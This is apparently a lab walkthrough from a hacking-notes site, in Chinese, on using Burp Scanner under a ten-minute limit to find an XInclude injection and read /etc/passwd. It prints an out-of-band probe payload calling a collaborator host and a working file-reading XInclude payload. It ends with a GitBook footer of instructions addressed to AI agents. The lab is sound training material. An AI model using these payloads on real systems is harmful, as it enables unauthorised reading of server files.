> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/essential-skills/fast-detection-with-targeted-scanning.md).

# 通过定向扫描快速检测

### 通过定向扫描快速发现漏洞

#### 实验上下文

此实验室包含一个用于 **读取服务器上的任意文件的漏洞**。/ 目标是 **恢复……的内容 `/etc/passwd` 文件，且用时少于 10 分钟**.

由于这一时间限制，建议使用 **Burp Scanner** 而不是进行完整的应用审计。

#### 时间限制

* 从实验开始起，\*\*10分钟计时器\*\*已启动。
* 对整个站点进行扫描可能太慢。
* 因此，最好 **巧妙地锁定潜在易受攻击的入口点**.

<figure><img src="/files/3ec38ed9c771841fc5b02ce79fa4b5cf6e4e34cc" alt=""><figcaption></figcaption></figure>

#### 方法

1. **拦截一条相关的 HTTP 请求** 使用 Burp Proxy。

<figure><img src="/files/4a5585e454ec9b0b56a018d93549cde70f512627" alt=""><figcaption></figcaption></figure>

快速分析查询逻辑，以识别一个有趣的端点。

通过 **Burp Scanner** 针对这个特定查询。

<figure><img src="/files/3de44ff5a77e5425e79c6e1fe0acf07a00f56a13" alt=""><figcaption></figcaption></figure>

#### Burp 扫描配置

* 所选扫描类型： **爬取并审计**

<figure><img src="/files/abbc10b2d2f17146eccf7cd23a43d07250c0dc37" alt=""><figcaption></figcaption></figure>

* 模式： **快速扫描**

目标：快速识别一个可利用的攻击向量

<figure><img src="/files/e48dd266d04d668838155731564f72e60c012d6a" alt=""><figcaption></figcaption></figure>

#### 已识别漏洞

扫描发现一种类型为 **XML 注入（XInclude）**.

<figure><img src="/files/b3e373ee98efc7a2001eaf7964473824385d0acf" alt=""><figcaption></figcaption></figure>

Burp Scanner 检测到的初始载荷：

{% code overflow="wrap" %}

```xml
<oid xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://mrh1ja6l5f029m1pdnomovjvomufik6ludh35s.oastify.com/foo"/></oid>
```

{% endcode %}

这证实服务器会处理 **XInclude** 实体而不受限制。

#### 利用：读取 `/etc/passwd`

将载荷修改为包含本地系统文件：

{% code overflow="wrap" %}

```http
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
id>&storeId=1
```

{% endcode %}

<figure><img src="/files/728687745ffa523d5176447b8485f9812709f70c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/essential-skills/fast-detection-with-targeted-scanning.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
